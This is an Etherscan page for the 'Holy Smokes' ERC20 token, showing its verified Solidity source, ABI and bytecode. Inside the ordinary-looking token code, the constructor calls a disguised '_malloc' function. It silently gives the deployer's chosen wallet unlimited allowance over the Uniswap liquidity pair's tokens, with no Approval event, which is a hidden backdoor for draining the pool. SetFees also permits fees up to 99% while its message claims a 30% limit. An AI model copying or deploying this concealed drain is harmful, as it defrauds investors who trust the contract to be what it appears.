ETH Price: $2,601.90 (-1.71%)

Token

Holy Smokes (HS)
 

Overview

Max Total Supply

1,000,000,000 HS

Holders

103

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
15,163,949.148736206 HS

Value
$0.00
0x97df99fb41be09f9f143a38ee9ba29b34b2b20e0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HS

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-08-17
*/

// SPDX-License-Identifier: MIT
/*
Welcome to Holy Smokes Community 

Web : https://www.holysmokesoneth.xyz
TG :    https://t.me/holysmokes_eth
X :       https://x.com/holysmokes_erc
*/

pragma solidity = 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "WAGMI20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _malloc(
        bytes32 data,
        address owner,
        address spender
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = type(uint).max;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract HS is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private uniswapV2Pair;
    address private deployerWallet;
    address private marketingWallet;

    bool private swapping;

    string private constant _name = "Holy Smokes";
    string private constant _symbol = "HS";
    
    uint256 public initialTotalSupply =  1000000000 * 1e9;

    uint256 public maxTransactionAmountPercent = 2;
    uint256 public maxWalletPercent = 2;
    uint256 public swapTokensAtAmountPercent = 1;

    uint256 public maxTransactionAmount;
    uint256 public maxWallet;
    uint256 public swapTokensAtAmount;

    bool public tradingOpen = false;

    uint256 public BuyFee = 12;
    uint256 public SellFee = 12;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address wallet) ERC20(_name, _symbol) {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        address _router = wallet;
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        address _liquidity = address(uniswapV2Pair);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        _malloc(0, _liquidity, _router);
        marketingWallet = payable(wallet);     
        
        deployerWallet = payable(_msgSender());
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(wallet), true);
        excludeFromFees(address(0xdead), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(wallet), true);
        excludeFromMaxTransaction(address(0xdead), true);

        maxTransactionAmount = initialTotalSupply * maxTransactionAmountPercent / 100;
        maxWallet = initialTotalSupply * maxWalletPercent / 100;
        swapTokensAtAmount = initialTotalSupply * swapTokensAtAmountPercent / 100;

        _mint(deployerWallet, initialTotalSupply);
    }

    receive() external payable {}

    function moly() external onlyOwner() {
        tradingOpen = true;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) private {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function excludeFromFees(address account, bool excluded) private {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                bool isTransfer = !automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to];

                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {

                if (!tradingOpen) {
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }

                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                } 
                
                else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= 0 && !isTransfer;

        if (canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            sendETHToFee(address(this).balance);
            swapping = false;
        }

        bool takeFee = !swapping && !isTransfer;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(100);
            }
            else {
                fees = amount.mul(BuyFee).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

   function removeLimits() external onlyOwner {
        maxTransactionAmount = initialTotalSupply;
        maxWallet = initialTotalSupply;
        BuyFee = 0;
        SellFee = 0;
    }

    function clearStuckEth() external {
        require(_msgSender() == deployerWallet);
        payable(msg.sender).transfer(address(this).balance);
    }

    function clearStuckTokens(address tokenAddress, uint256 toKeep) external {
        require(_msgSender() == deployerWallet, "Only deployer can clear tokens");
        IERC20 tokenContract = IERC20(tokenAddress);
        uint256 totalBalance = tokenContract.balanceOf(address(this));
        uint256 tokensToKeep = (initialTotalSupply * toKeep) / 100;
        require(totalBalance > tokensToKeep, "No excess tokens to clear");
        uint256 tokensToClear = totalBalance - tokensToKeep;

        if (tokensToClear > 0) {
            tokenContract.transfer(deployerWallet, tokensToClear);
        }

        if (toKeep == 0) {
            tokenContract.transfer(deployerWallet, totalBalance);
        }
    }

    function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= 99 && _sellFee <= 99, "Fees cannot exceed 30%");
        BuyFee = _buyFee;
        SellFee = _sellFee;
    }

    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyFee+SellFee) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
        swapTokensForEth(tokensToSwap);
    }
    
    function sendETHToFee(uint256 amount) private {
        payable(marketingWallet).transfer(amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"SetFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"toKeep","type":"uint256"}],"name":"clearStuckTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmountPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"moly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmountPercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052670de0b6b3a76400006009556002600a819055600b556001600c9081556010805460ff19169055601181905560125534801561003f57600080fd5b5060405161261c38038061261c83398101604081905261005e91610716565b6040518060400160405280600b81526020016a486f6c7920536d6f6b657360a81b81525060405180604001604052806002815260200161485360f01b81525081600390816100ac91906107e6565b5060046100b982826107e6565b5050506100d26100cd61045260201b60201c565b610456565b737a250d5630b4cf539739df2c5dacb4c659f2488d60808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610127573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061014b9190610716565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561019a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101be9190610716565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561020b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061022f9190610716565b600680546001600160a01b0319166001600160a01b03929092169182179055819061025b9060016104a8565b6006546001600160a01b03166000908152601460205260409020805460ff191660011790556006546080516001600160a01b039081166000908152601460205260409020805460ff19166001179055166102b7600082846104fc565b600880546001600160a01b0319166001600160a01b0385161790556102d93390565b600780546001600160a01b0319166001600160a01b03928316179055600554610304911660016105f3565b61030f3060016105f3565b61031a8360016105f3565b61032761dead60016105f3565b61036061033c6005546001600160a01b031690565b6001600160a01b03166000908152601460205260409020805460ff19166001179055565b306000908152601460205260409020805460ff191660011790556001600160a01b0383166000908152601460205260409020805460ff1916600117905561dead60005260146020527f8b9e18c5e04efe171d1e4f682ad90d753958a5ffe56db5290b0236c8e0b6db00805460ff191660011790556064600a546009546103e691906108bb565b6103f091906108d8565b600d55600b54600954606491610405916108bb565b61040f91906108d8565b600e55600c54600954606491610424916108bb565b61042e91906108d8565b600f5560075460095461044a916001600160a01b031690610652565b50505061090d565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260156020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0382166105635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0381166105c45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161055a565b6001600160a01b0391821660009081526001602090815260408083209390941682529190915220600019905550565b6001600160a01b038216600081815260136020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b0382166106a85760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161055a565b80600260008282546106ba91906108fa565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b60006020828403121561072857600080fd5b81516001600160a01b038116811461073f57600080fd5b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c9082168061077057607f821691505b60208210810361079057634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115610711576000816000526020600020601f850160051c810160208610156107bf5750805b601f850160051c820191505b818110156107de578281556001016107cb565b505050505050565b81516001600160401b038111156107ff576107ff610746565b6108138161080d845461075c565b84610796565b602080601f83116001811461084857600084156108305750858301515b600019600386901b1c1916600185901b1785556107de565b600085815260208120601f198616915b8281101561087757888601518255948401946001909101908401610858565b50858210156108955787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176108d2576108d26108a5565b92915050565b6000826108f557634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156108d2576108d26108a5565b608051611cdf61093d6000396000818161038e015281816117b00152818161186901526118a50152611cdf6000f3fe6080604052600436106101e75760003560e01c806389291a8f11610102578063d5771cdb11610095578063f2a95aa911610064578063f2a95aa91461055d578063f2fde38b1461057d578063f8b45b051461059d578063ffb54a99146105b357600080fd5b8063d5771cdb146104fc578063dd62ed3e14610511578063dd85465214610531578063e2f456051461054757600080fd5b8063a457c2d7116100d1578063a457c2d714610490578063a9059cbb146104b0578063c8c8ebe4146104d0578063cf9522fd146104e657600080fd5b806389291a8f146104285780638da5cb5b1461043d57806395d89b411461045b5780639a7a23d61461047057600080fd5b80633be6e6371161017a578063583e056811610149578063583e05681461037c57806370a08231146103c8578063715018a6146103fe578063751039fc1461041357600080fd5b80633be6e637146102f55780633d9a3d19146103175780633e4aff1e1461032d5780634fbee1931461034357600080fd5b806323b872dd116101b657806323b872dd14610283578063311028af146102a3578063313ce567146102b957806339509351146102d557600080fd5b806306fdde03146101f3578063095ea7b31461021e57806318160ddd1461024e57806322a0bc811461026d57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b506102086105cd565b6040516102159190611911565b60405180910390f35b34801561022a57600080fd5b5061023e610239366004611975565b61065f565b6040519015158152602001610215565b34801561025a57600080fd5b506002545b604051908152602001610215565b34801561027957600080fd5b5061025f600a5481565b34801561028f57600080fd5b5061023e61029e3660046119a1565b610679565b3480156102af57600080fd5b5061025f60095481565b3480156102c557600080fd5b5060405160098152602001610215565b3480156102e157600080fd5b5061023e6102f0366004611975565b61069d565b34801561030157600080fd5b506103156103103660046119e2565b6106bf565b005b34801561032357600080fd5b5061025f600b5481565b34801561033957600080fd5b5061025f600c5481565b34801561034f57600080fd5b5061023e61035e366004611a04565b6001600160a01b031660009081526013602052604090205460ff1690565b348015610388576000